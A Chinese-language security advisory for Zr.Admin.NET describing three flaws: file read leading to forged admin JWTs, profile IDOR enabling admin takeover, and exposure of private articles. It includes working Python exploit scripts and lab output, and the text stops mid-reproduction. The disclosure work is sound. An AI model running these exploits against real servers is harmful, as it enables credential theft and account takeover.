Zr.Admin.NET 漏洞报告
软件名称:Zr.Admin.NET
开发者或厂商:izhaorui
代码仓库:https://github.com/izhaorui/Zr.Admin.NET
1. 下载接口任意文件读取导致管理员令牌伪造 (CVE-2026-129464)
| 简要描述: | 拥有账号的用户可以读取服务器上的配置文件,再用其中的 JWT 密钥伪造管理员令牌。 |
|---|---|
| 影响版本: | 0ee1ab8a(2023-12-16)至 eb9228a2(2026-10-22) |
| 漏洞引入: | Zr.Admin.NET commit 0ee1ab8a |
| 前置条件: | 攻击者拥有一个账号。 |
漏洞成因
CommonController.DownloadFile 把请求参数 path 当作服务器文件路径。相关代码如下:
// ZR.Admin.WebApi/Controllers/CommonController.cs:220-241 commit eb9228a230
[HttpGet]
[ActionPermissionFilter(Permission = "common")]
[Log(Title = "下载文件", IsSaveResponseData = false)]
public IActionResult DownloadFile(string? path, long fileId = 0)
{
var tempPath = path;
if (fileId > 0)
{
var fileInfo = SysFileService.GetById(fileId);
if (fileInfo != null)
{
tempPath = fileInfo.FileUrl;
}
}
string fullPath = tempPath;
if (tempPath.StartsWith("/") && WebHostEnvironment.IsDevelopment())
{
fullPath = Path.Combine(WebHostEnvironment.WebRootPath, tempPath.ReplaceFirst("/", ""));
}
string fileName = Path.GetFileName(fullPath);
return DownFile(fullPath, fileName);
}
Permission = "common" 在权限过滤器里表示登录即放行,零角色零权限的账号同样可以调用(ZR.ServiceCore/Filters/ActionPermissionFilter.cs:114)。生产环境下 IsDevelopment() 为 false,path 原样交给 DownFile:
// Infrastructure/Controllers/BaseController.cs:109-120 commit eb9228a230
protected IActionResult DownFile(string path, string fileName)
{
if (!System.IO.File.Exists(path))
{
return ToResponse(ResultCode.CUSTOM_ERROR, "文件不存在");
}
var stream = System.IO.File.OpenRead(path); //创建文件流
Response.Headers.Append("Access-Control-Expose-Headers", "Content-Disposition");
return File(stream, "application/octet-stream", HttpUtility.UrlEncode(fileName));
}
该路径未经 Path.GetFullPath 规范化,基准目录未做限定,绝对路径与 ../ 均可使用。
读取到 JwtSettings:SecretKey 之后,即可伪造令牌。JwtUtil.ValidateJwtToken 只把 claim 里的 userdata 反序列化成 LoginUser:
// Infrastructure/JwtUtil.cs:139-155 commit eb9228a230
public static LoginUser? ValidateJwtToken(JwtSecurityToken jwtSecurityToken)
{
try
{
if (jwtSecurityToken == null) return null;
IEnumerable<Claim> claims = jwtSecurityToken?.Claims;
LoginUser loginUser = null;
var userData = claims.FirstOrDefault(x => x.Type == ClaimTypes.UserData)?.Value;
if (userData != null)
{
loginUser = JsonConvert.DeserializeObject<LoginUser>(userData);
loginUser.ExpireTime = jwtSecurityToken.ValidTo;
}
return loginUser;
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
return null;
}
}
令牌里的 RoleKeys 与 Permissions 决定后续的授权结果。攻击者可以为 UserId=1 签发一个带 RoleKeys=["admin"] 的令牌,后续接口按管理员身份处理。
复现环境搭建
实验环境用仓库自带的 Dockerfile 构建镜像。该 Dockerfile 的 restore 阶段缺少 ZR.Workflow 的 csproj,构建前补一行:
git clone https://github.com/izhaorui/Zr.Admin.NET
cd Zr.Admin.NET
sed -i 's#COPY \["ZR.Mall/ZR.Mall.csproj", "ZR.Mall/"\]#&\nCOPY ["ZR.Workflow/ZR.Workflow.csproj", "ZR.Workflow/"]#' ZR.Admin.WebApi/Dockerfile
docker build -f ZR.Admin.WebApi/Dockerfile -t zradmin-webapi:latest .
官方 compose 文件没有数据库服务,实验环境补一个 MySQL,并把配置挂载进容器:
services:
db:
image: mysql:8.0
command: --character-set-server=utf8mb4 --collation-server=utf8mb4_general_ci
environment:
MYSQL_ROOT_PASSWORD: root123456
MYSQL_DATABASE: zrdb
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot123456"]
interval: 5s
timeout: 5s
retries: 30
app:
image: zradmin-webapi:latest
depends_on:
db:
condition: service_healthy
ports:
- "1888:8888"
volumes:
- ./appsettings.Production.json:/app/appsettings.Production.json
appsettings.Production.json 内容如下:
{
"urls": "http://+:8888",
"dbConfigs": [
{
"Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50",
"DbType": 0,
"ConfigId": "0",
"IsAutoCloseConnection": true,
"DbName": "zrdb"
}
],
"CodeGenDbConfig": {
"Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50",
"DbType": 0,
"DbName": "zrdb"
},
"ModuleInit": {
"Workflow": true,
"Mall": true,
"Member": true
},
"workId": "1",
"JwtSettings": {
"Issuer": "ZRAdmin.NET",
"Audience": "ZRAdmin.NET",
"SecretKey": "ZrAdminVulnLabSecretKey20261113-x9Q",
"Expire": 1440,
"RefreshTokenTime": 30,
"TokenType": "Bearer"
},
"SmsOptions": {
"Enabled": false
}
}
初始化数据库并启动:
docker compose up -d db
docker compose run --rm --no-deps app dotnet ZR.Admin.WebApi.dll --initdb
docker compose up -d app
环境启动后用 admin/123456 登录后台,新建账号 low1,密码 Aa123456!,不分配角色。
登录脚本如下,login 返回该账号的 JWT:
import base64, re, requests
B = "http://127.0.0.1:1888"
def login(user, password):
d = requests.get(f"{B}/captchaImage").json()["data"]
code = "".join(re.findall(r"<text[^>]*>(.*?)</text>",
base64.b64decode(d["img"].split("base64,", 1)[1]).decode()))
return requests.post(f"{B}/login", json={"username": user, "password": password,
"code": code, "uuid": d["uuid"]}).json()["data"]
复现过程
用 low1 登录,并读取 /etc/passwd 与配置文件:
import requests
B = "http://127.0.0.1:1888"
tok = login("low1", "Aa123456!")
print("low1 token:", tok)
H = {"Authorization": f"Bearer {tok}"}
for p in ["/etc/passwd", "/app/appsettings.Production.json"]:
r = requests.get(f"{B}/common/DownloadFile", params={"path": p}, headers=H)
print(f"\nGET /common/DownloadFile?path={p} -> HTTP {r.status_code}, {len(r.content)} bytes")
print(r.text)
输出如下:
low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiYTU2ZmI5MmE0MTAzNDhhMjg1NzUxNDliYjEyOGVjYWZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0NDI1LCJleHAiOjE3OTQ2NjA4MjUsImlhdCI6MTc5NDU3NDQyNSwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.Edp_XAj1bd6Y6HyJHVvcfJSBkfuLBLJrVfVasWHL5VA
GET /common/DownloadFile?path=/etc/passwd -> HTTP 200, 874 bytes
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
app:x:1654:1654::/home/app:/bin/sh
GET /common/DownloadFile?path=/app/appsettings.Production.json -> HTTP 200, 1320 bytes
{
"urls": "http://+:8888",
"dbConfigs": [
{
"Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50",
"DbType": 0,
"ConfigId": "0",
"IsAutoCloseConnection": true,
"DbName": "zrdb"
}
],
"CodeGenDbConfig": {
"Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50",
"DbType": 0,
"DbName": "zrdb"
},
"ModuleInit": {
"Workflow": true,
"Mall": true,
"Member": true
},
"workId": "1",
"JwtSettings": {
"Issuer": "ZRAdmin.NET",
"Audience": "ZRAdmin.NET",
"SecretKey": "ZrAdminVulnLabSecretKey20261113-x9Q",
"Expire": 1440,
"RefreshTokenTime": 30,
"TokenType": "Bearer"
},
"SmsOptions": {
"Enabled": false
}
}
用读到的 SecretKey 签发管理员令牌,再访问管理员接口:
import base64, hashlib, hmac, json, time, requests
B = "http://127.0.0.1:1888"
secret = "ZrAdminVulnLabSecretKey20261113-x9Q"
def b64(o):
return base64.urlsafe_b64encode(json.dumps(o, separators=(",", ":")).encode()).rstrip(b"=").decode()
now = int(time.time())
body = {"primarysid": "1", "nameid": "1", "unique_name": "admin", "groupsid": "0",
"http://schemas.microsoft.com/ws/2008/06/identity/claims/userdata":
json.dumps({"UserId": 1, "UserName": "admin", "DeptId": 0,
"RoleKeys": ["admin"], "Permissions": ["*:*:*"]}),
"nbf": now, "exp": now + 3600, "iat": now, "iss": "ZRAdmin.NET", "aud": "ZRAdmin.NET"}
msg = f"{b64({'alg': 'HS256', 'typ': 'Bearer'})}.{b64(body)}".encode()
token = msg.decode() + "." + base64.urlsafe_b64encode(
hmac.new(secret.encode(), msg, hashlib.sha256).digest()).decode().rstrip("=")
print("forged token:", token)
H = {"Authorization": f"Bearer {token}"}
print(requests.get(f"{B}/system/user/list", params={"pageNum": 1, "pageSize": 2}, headers=H).text)
输出如下:
secret: ZrAdminVulnLabSecretKey20261113-x9Q
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOiAxLCBcIlVzZXJOYW1lXCI6IFwiYWRtaW5cIiwgXCJEZXB0SWRcIjogMCwgXCJSb2xlS2V5c1wiOiBbXCJhZG1pblwiXSwgXCJQZXJtaXNzaW9uc1wiOiBbXCIqOio6KlwiXX0iLCJuYmYiOjE3OTQ1NzQ0MjYsImV4cCI6MTc5NDU3ODAyNiwiaWF0IjoxNzk0NTc0NDI2LCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.GMX_pluUUjGb4smC1nmnB8lSA0pz5-SY5CDdFmkBkvY
GET /system/user/list?pageNum=1&pageSize=2 -> 200 1011B
{
"code": 200,
"msg": "success",
"data": {
"pageSize": 2,
"pageIndex": 1,
"totalNum": 1,
"totalPage": 1,
"result": [
{
"userId": 1,
"userName": "admin",
"nickName": "管理员",
"email": null,
"remark": "管理员",
"phonenumber": null,
"avatar": null,
"sex": 0,
"password": "E10ADC3949BA59ABBE56E057F20F883E",
"status": 0,
"loginIP": "172.24.0.1",
"loginDate": "2026-11-13 20:53:44",
"deptId": 0,
"leaderId": null,
"leaderName": null,
"welcomeContent": null,
"pwdUpdateTime": null,
"twoFactorEnabled": 0,
"create_time": "2026-11-13 12:53:33",
"create_by": null,
"update_time": null,
"update_by": null,
"isAdmin": true,
"deptName": null,
"roleIds": null,
"postIds": null,
"roles": null,
"welcomeMessage": "晚上好"
}
],
"extra": {}
}
}
isAdmin 为 true,返回内容包含管理员账号的密码哈希。
2. 个人资料接口越权修改导致管理员账号接管 (CVE-2026-129465)
| 简要描述: | 拥有账号的用户可以改写其他账号的手机号,再用短信验证码登录该账号,从而接管管理员账号。 |
|---|---|
| 影响版本: | af07ffc5(2022-03-04)至 eb9228a2(2026-10-22) |
| 漏洞引入: | Zr.Admin.NET commit af07ffc5 |
| 前置条件: | 攻击者拥有一个账号,能接收短信,并知道目标账号的 UserId(默认安装中管理员为 1)。 |
漏洞成因
SysProfileController.UpdateProfile 从请求体读取整个 SysUserDto,其中包含 UserId:
// ZR.Admin.WebApi/Controllers/System/SysProfileController.cs:62-75 commit eb9228a230
[HttpPut]
[ActionPermissionFilter(Permission = "common")]
[Log(Title = "修改信息", BusinessType = BusinessType.UPDATE)]
public IActionResult UpdateProfile([FromBody] SysUserDto userDto)
{
if (userDto == null)
{
throw new CustomException(ResultCode.PARAM_ERROR, "请求参数错误");
}
var user = userDto.Adapt<SysUser>().ToUpdate(HttpContext);
int result = UserService.ChangeUser(user);
return ToResponse(result);
}
ChangeUser 按 user.UserId 更新,更新的字段包含 Phonenumber 与 Status,没有校验当前登录用户与该 UserId 的关系:
// ZR.ServiceCore/Services/SysUserService.cs:220-236 commit eb9228a230
public int ChangeUser(SysUser user)
{
user.Update_time = DateTime.Now;
var result = Update(user, t => new
{
t.NickName,
t.Email,
t.Phonenumber,
t.DeptId,
t.LeaderId,
t.Status,
t.Sex,
t.PostIds,
t.Remark,
t.Update_by,
t.Update_time
}, true);
同文件的 ChangeUserStatus 调用了 CheckUserAllowed(SysUserService.cs:312-315),ChangeUser 没有调用。
该接口只接受 UserId,不接受用户名,所以需要目标账号的编号:默认安装中管理员为 1;目标账号发过文章时,匿名文章详情也会返回作者的 userId。
手机号改写之后,匿名接口 /checkMobile 会把验证码发到该号码,匿名接口 /PhoneLogin 按手机号签发令牌:
// ZR.Admin.WebApi/Controllers/System/SysLoginController.cs:470-495 commit eb9228a230
[HttpPost("/checkMobile")]
[Log(Title = "发送短息", BusinessType = BusinessType.INSERT)]
[AllowAnonymous]
public IActionResult CheckMobile([FromBody] PhoneLoginDto dto)
{
dto.LoginIP = HttpContextExtension.GetClientUserIp(HttpContext);
var uid = HttpContext.GetUId();
sysTenantService.CheckTenant(dto.TenantId);
if (dto.SendType == 0)
{
var info = sysUserService.GetFirst(f => f.Phonenumber == dto.PhoneNum)
?? throw new CustomException(ResultCode.CUSTOM_ERROR, "该手机号不存在", false);
uid = info.UserId;
}
// ZR.Admin.WebApi/Controllers/System/SysLoginController.cs:516-549 commit eb9228a230
[Route("PhoneLogin")]
[HttpPost]
[Log(Title = "手机号登录", IsSaveResponseData = false)]
[AllowAnonymous]
public IActionResult PhoneLogin([FromBody] PhoneLoginDto loginBody)
{
if (loginBody == null) { throw new CustomException("请求参数错误"); }
loginBody.LoginIP = HttpContextExtension.GetClientUserIp(HttpContext);
sysLoginService.CheckLockUser(loginBody.PhoneNum);
if (!CacheService.CheckPhoneCode(loginBody.PhoneNum, loginBody.PhoneCode))
{
sysLoginService.RecordLoginFailure(loginBody.PhoneNum);
...
}
PhoneLogin 只比对手机号与验证码,通过后为该手机号所属账号签发令牌。
复现环境搭建
沿用第 1 节的实验环境。每次复现前执行 docker compose down -v 清空数据卷,再按第 1 节重新初始化。
复现过程
用 low1 登录,把自己的手机号写到 UserId=1 上,再让服务端向该号码发送验证码:
import requests
B = "http://127.0.0.1:1888"
low = login("low1", "Aa123456!")
print("low1 token:", low)
H = {"Authorization": f"Bearer {low}"}
r = requests.put(f"{B}/system/user/profile", headers=H, json={
"userId": 1, "nickName": "PWNED", "phonenumber": "13800138000", "status": 0})
print("PUT /system/user/profile ->", r.status_code, r.text.strip())
r = requests.post(f"{B}/checkMobile", json={"phoneNum": "13800138000", "sendType": 0})
print("POST /checkMobile ->", r.status_code, r.text.strip())
输出如下:
low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiZTNiYzYxNTkwY2Y5NGJjY2FiNDQ2MTBmYTQ4NjkzZTZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0NDczLCJleHAiOjE3OTQ2NjA4NzMsImlhdCI6MTc5NDU3NDQ3MywiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.6BVEFcSSNiETvRuYxj_00kIxfQm_8e79WaNbPMxRV3I
PUT /system/user/profile -> 200 {
"code": 200,
"msg": "success"
}
POST /checkMobile -> 200 {
"code": 200,
"msg": "success",
"data": 1
}
从数据库确认管理员记录被改写:
docker compose exec db mysql -uroot -proot123456 -e \
"select UserId,UserName,NickName,Phonenumber,Status from zrdb.sys_user where UserId in (1,2)"
UserId UserName NickName Phonenumber Status
1 admin PWNED 13800138000 0
2 low1 low1 NULL 0
生产环境中,该短信会被发到攻击者的手机上。实验环境没有配置真实 SMS 服务,因此收不到短信。我们从容器日志中读验证码:
docker compose exec app sh -c 'grep "模拟短信" logs/all.log | tail -1'
2026-11-13 20:54:33.4671 | 0 | 0HNQ1GL0RU7G6 | INFO | ZR.ServiceCore.Sms.DefaultSmsSender | ::ffff:172.25.0.1 | - | http://127.0.0.1/checkMobile | 【模拟短信】手机号=13800138000,模板=,内容=验证码270025,有效期10分钟。 | | | -
用它登录:
import requests
B = "http://127.0.0.1:1888"
r = requests.post(f"{B}/PhoneLogin", json={"phoneNum": "13800138000", "phoneCode": "270025"})
print("POST /PhoneLogin ->", r.status_code, r.text.strip())
tok = r.json()["data"]
print("\nadmin token:", tok)
H = {"Authorization": f"Bearer {tok}"}
print(requests.get(f"{B}/system/user/list", params={"pageNum": 1, "pageSize": 3}, headers=H).text)
输出如下:
POST /PhoneLogin -> 200 {
"code": 200,
"msg": "success",
"data": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImYzMWM2ZDQ2OGQwMjRhNDRhMzJmMzNlY2UxZWVlNGQxXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwiUFdORURcIixcIlJvbGVLZXlzXCI6W1wiYWRtaW5cIl0sXCJSb2xlc1wiOlt7XCJSb2xlSWRcIjoxLFwiUm9sZUtleVwiOlwiYWRtaW5cIixcIkRhdGFTY29wZVwiOjF9XSxcIkV4cGlyZVRpbWVcIjpcIjAwMDEtMDEtMDFUMDA6MDA6MDBcIixcIlRlbmFudElkXCI6bnVsbCxcIlBlcm1pc3Npb25zXCI6W1wiKjoqOipcIl0sXCJTY29wZVR5cGVcIjo0fSIsIm5iZiI6MTc5NDU3NDQ3NCwiZXhwIjoxNzk0NjYwODc0LCJpYXQiOjE3OTQ1NzQ0NzQsImlzcyI6IlpSQWRtaW4uTkVUIiwiYXVkIjoiWlJBZG1pbi5ORVQifQ.VL0nZBENI61_l5RLyfT9GndwnsDhs0HfwBHw3DmtNZk"
}
admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImYzMWM2ZDQ2OGQwMjRhNDRhMzJmMzNlY2UxZWVlNGQxXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwiUFdORURcIixcIlJvbGVLZXlzXCI6W1wiYWRtaW5cIl0sXCJSb2xlc1wiOlt7XCJSb2xlSWRcIjoxLFwiUm9sZUtleVwiOlwiYWRtaW5cIixcIkRhdGFTY29wZVwiOjF9XSxcIkV4cGlyZVRpbWVcIjpcIjAwMDEtMDEtMDFUMDA6MDA6MDBcIixcIlRlbmFudElkXCI6bnVsbCxcIlBlcm1pc3Npb25zXCI6W1wiKjoqOipcIl0sXCJTY29wZVR5cGVcIjo0fSIsIm5iZiI6MTc5NDU3NDQ3NCwiZXhwIjoxNzk0NjYwODc0LCJpYXQiOjE3OTQ1NzQ0NzQsImlzcyI6IlpSQWRtaW4uTkVUIiwiYXVkIjoiWlJBZG1pbi5ORVQifQ.VL0nZBENI61_l5RLyfT9GndwnsDhs0HfwBHw3DmtNZk
GET /system/user/list?pageNum=1&pageSize=3 -> 200 1863B
{
"code": 200,
"msg": "success",
"data": {
"pageSize": 3,
"pageIndex": 1,
"totalNum": 2,
"totalPage": 1,
"result": [
{
"userId": 1,
"userName": "admin",
"nickName": "PWNED",
"email": null,
"remark": "管理员",
"phonenumber": "13800138000",
"avatar": null,
"sex": 0,
"password": "E10ADC3949BA59ABBE56E057F20F883E",
"status": 0,
"loginIP": "172.25.0.1",
"loginDate": "2026-11-13 20:54:35",
"deptId": 0,
"leaderId": null,
"leaderName": null,
"welcomeContent": null,
"pwdUpdateTime": null,
"twoFactorEnabled": 0,
"create_time": "2026-11-13 12:54:21",
"create_by": null,
"update_time": "2026-11-13 12:54:33",
"update_by": "low1",
"isAdmin": true,
"deptName": null,
"roleIds": null,
"postIds": null,
"roles": null,
"welcomeMessage": "晚上好"
},
{
"userId": 2,
"userName": "low1",
"nickName": "low1",
"email": null,
"remark": null,
"phonenumber": null,
"avatar": null,
"sex": 0,
"password": "836E5D18D15F021BB70D5F97F0A1C0B0",
"status": 0,
"loginIP": "172.25.0.1",
"loginDate": "2026-11-13 20:54:33",
"deptId": 0,
"leaderId": null,
"leaderName": null,
"welcomeContent": null,
"pwdUpdateTime": null,
"twoFactorEnabled": 0,
"create_time": "2026-11-13 12:54:32",
"create_by": "admin",
"update_time": null,
"update_by": null,
"isAdmin": false,
"deptName": null,
"roleIds": null,
"postIds": null,
"roles": null,
"welcomeMessage": "晚上好"
}
],
"extra": {}
}
}
返回的令牌属于 admin,update_by 记录为 low1,nickName 已变成 PWNED。
3. 越权读取私密文章 (CVE-2026-129455)
| 简要描述: | 拥有账号的用户可以修改他人文章的置顶状态与可见范围,把私密文章改成公开后读取正文。 |
|---|---|
| 影响版本: | e6ceaf47(2024-04-29)至 eb9228a2(2026-10-22) |
| 漏洞引入: | Zr.Admin.NET commit e6ceaf47 |
| 前置条件: | 攻击者有账号;目标实例中存在其他用户发布的私密文章。 |
漏洞成因
daef6af0 在管理端 ArticleController 中加入这两个操作时,为其标注了 system:article:update 权限;e6ceaf4 新增的 FrontArticleController 却把它们开放给了所有已登录用户。ChangePublic 只标了 common,归属校验比较的是请求体里的 userId:
// ZR.Admin.WebApi/Controllers/Content/FrontArticleController.cs:134-152 commit eb9228a230
[HttpPut("changePublic")]
[ActionPermissionFilter(Permission = "common")]
public IActionResult ChangePublic([FromBody] Article parm)
{
if (parm == null) { return ToResponse(ResultCode.CUSTOM_ERROR); }
var userId = HttpContext.GetUId();
if (userId != parm.UserId)
{
return ToResponse(ResultCode.CUSTOM_ERROR, "操作失败");
}
var response = _ArticleService.ChangeArticlePublic(parm);
return SUCCESS(response);
}
把 parm.UserId 填成自己的账号即可通过校验,而 ChangeArticlePublic 只按 Cid 更新:
// ZR.Service/Content/ArticleService.cs:430-438 commit eb9228a230
public int ChangeArticlePublic(Article model)
{
var response = Update(w => w.Cid == model.Cid, it => new Article()
{
IsPublic = model.IsPublic,
});
return response;
}
Top 没有这段校验(FrontArticleController.cs:122-131),TopArticle 同样只按 Cid 更新 IsTop(ArticleService.cs:402-410)。文章详情接口是匿名的(FrontArticleController.cs:191-194),私密文章被改成公开后,匿名请求即返回正文。
复现环境搭建
沿用第 1 节的实验环境。每次复现前执行 docker compose down -v 清空数据卷,再按第 1 节重新初始化。
复现过程
管理员发布一篇私密文章:
import requests
B = "http://127.0.0.1:1888"
admin = {"Authorization": f"Bearer {login('admin', '123456')}"}
r = requests.post(f"{B}/front/article/publish", headers=admin, json={
"title": "Q3 payroll review",
"content": "<p>CFO salary 480000, bank account 6222 0000 1111 2222</p>",
"isPublic": 0, "isTop": 0})
cid = r.json()["data"]["cid"]
print("admin POST /front/article/publish -> cid=%d, isPublic=%d, userId=%d"
% (cid, r.json()["data"]["isPublic"], r.json()["data"]["userId"]))
输出如下:
admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcIjk2NDIxODA4NDQ0ZjQ3YWViZjdlNTU5ZDI3YmNjY2M4XCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ1NzQzMzEsImV4cCI6MTc5NDY2MDczMSwiaWF0IjoxNzk0NTc0MzMxLCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.sn7FtFWfhYaJM5Nd66250nEuwrylyIWYD3uxU2xXw8Q
low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiZDZkNGNmYTVhYzI3NGZjMmFhNDM3NTJlMWUzYmQwYzNcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0MzMyLCJleHAiOjE3OTQ2NjA3MzIsImlhdCI6MTc5NDU3NDMzMiwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.jVLpmqhY2IjEhhstzG8pXD6s4qnxnhiCKXt1T0IaFTs
admin POST /front/article/publish -> cid=1, isPublic=0, userId=1
匿名读取该文章,返回访问失败:
r = requests.get(f"{B}/front/article/1")
print(r.status_code, r.text)
200 {
"code": 110,
"msg": "访问失败"
}
low1 把自己的 userId 填进请求体,把这篇私密文章改成公开:
low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"}
